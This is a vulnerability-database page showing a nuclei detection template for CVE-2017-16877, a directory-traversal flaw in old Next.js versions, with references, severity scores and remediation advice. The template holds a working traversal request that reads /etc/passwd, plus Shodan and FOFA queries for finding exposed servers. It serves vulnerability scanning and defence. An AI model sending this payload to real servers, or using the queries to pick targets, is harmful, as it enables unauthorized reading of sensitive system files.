Lucene search
+L

Nextjs <2.4.1 - Local File Inclusion

🗓️ 26 Oct 2026 02:10:32Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 55 Views

Nextjs <2.4.1 - Local File Inclusion vulnerability, allowing unauthorized access and sensitive information leakag

Related
Refs
Code
ReporterTitlePublishedViews
Family
cnvd
CNVD
ZEIT Next.js Directory Traversal Vulnerability
20 Nov 201700:00
–cnvd
cve
CVE
CVE-2017-16877
17 Nov 201717:00
–cve
cvelist
Cvelist
CVE-2017-16877
17 Nov 201717:00
–cvelist
github
Github Security Blog
Next.js Directory Traversal Vulnerability
5 Dec 201702:04
–github
kittysploit
KittySploit
Nextjs <2.4.1 - Local File Inclusion Detection
28 Jul 202611:27
–kittysploit
mend
Mend
CVE-2017-16877
17 Nov 201717:00
–mend
nvd
NVD
CVE-2017-16877
17 Nov 201717:29
–nvd
openvas
OpenVAS
Generic HTTP Directory Traversal / File Inclusion (Web Dirs) - Active Check
22 Jul 202100:00
–openvas
osv_ghsa
osv_ghsa
GHSA-3F5C-4QXJ-VMPF Next.js Directory Traversal Vulnerability
5 Dec 201702:04
–osv_ghsa
prion
Prion
Directory traversal
17 Nov 201717:29
–prion
Rows per page
id: CVE-2017-16877

info:
  name: Nextjs <2.4.1 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: ZEIT Next.js before 2.4.1 is susceptible to local file inclusion via the /_next and /static request namespace, allowing attackers to obtain sensitive information.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Upgrade Nextjs to version 2.4.1 or above to mitigate this vulnerability.
  reference:
    - https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9
    - https://github.com/zeit/next.js/releases/tag/2.4.1
    - https://nvd.nist.gov/vuln/detail/CVE-2017-16877
    - https://github.com/vercel/next.js/commit/02fe7cf63f6265d73bdaf8bc50a4f2fb539dcd00
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-16877
    cwe-id: CWE-22
    epss-score: 0.14104
    epss-percentile: 0.9654
    cpe: cpe:2.3:a:zeit:next.js:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zeit
    product: next.js
    shodan-query:
      - http.html:"/_next/static"
      - cpe:"cpe:2.3:a:zeit:next.js"
    fofa-query: body="/_next/static"
  tags: cve,cve2017,nextjs,lfi,traversal,zeit,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/_next/../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022070497946983d63668cbcb6dd0f0f59bb31c20d33f3eddf0eac5c05117319afd602205ba6b094315a69ca93c7dd47d3a0b642810ee0a07aa9a1eddcc3897c2635193a:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.5High risk
Vulners AI Score7.5
CVSS 25
CVSS 37.5
EPSS0.14104
55